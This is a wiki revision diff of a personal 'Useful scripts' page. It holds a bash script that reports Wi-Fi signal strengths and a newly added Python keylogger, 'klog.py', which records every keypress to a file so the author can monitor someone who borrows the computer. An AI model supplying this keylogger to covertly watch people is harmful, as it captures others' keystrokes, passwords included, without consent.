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scripts [2023-06-15 00:09] – fixed link to work page asdfscripts [2023-08-18 18:24] (current) – [Report signal strengths for wireless APs] asdf
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 ====== Useful scripts ====== ====== Useful scripts ======
 ===== Report signal strengths for wireless APs ===== ===== Report signal strengths for wireless APs =====
-Originally developed for use at [[:work:]], it's just as useful in other contexts, so I have reproduced it here.+Originally developed for use at [[:work:]], it's just as useful in other contexts, so I have reproduced it here. Requires [[gh>charmbracelet/gum]].
  
 <file bash sigstr.sh> <file bash sigstr.sh>
 #!/bin/bash #!/bin/bash
-# need some means of selecting $device+device=$(ip ad | awk '/^[0-9]+:/ { print $2 }' | sed 's/://' | gum choose)
 sudo iw $device scan |  sudo iw $device scan | 
         awk '/^BSS/ { print $2 }; /signal/ { print $2, $3, "\f" }' |         awk '/^BSS/ { print $2 }; /signal/ { print $2, $3, "\f" }' |
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 #   -72.00 dBm #   -72.00 dBm
 # additionally, they will be separated by "\f" characters # additionally, they will be separated by "\f" characters
 +</file>
 +
 +===== Log keys in Python =====
 +Let's say you need to hand your computer over to someone you don't fully trust and want to check on their usage afterward. Requires the [[https://pypi.org/project/pynput/|pynput]] package.
 +
 +<file python klog.py>
 +from pynput.keyboard import Key, Listener
 +import logging
 + 
 +logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
 + 
 +def on_press(key):
 +    logging.info(str(key))
 + 
 +with Listener(on_press=on_press) as listener:
 +    listener.join()
 </file> </file>
  • scripts.1686787747.txt.gz
  • Last modified: 2023-06-15 00:09
  • by asdf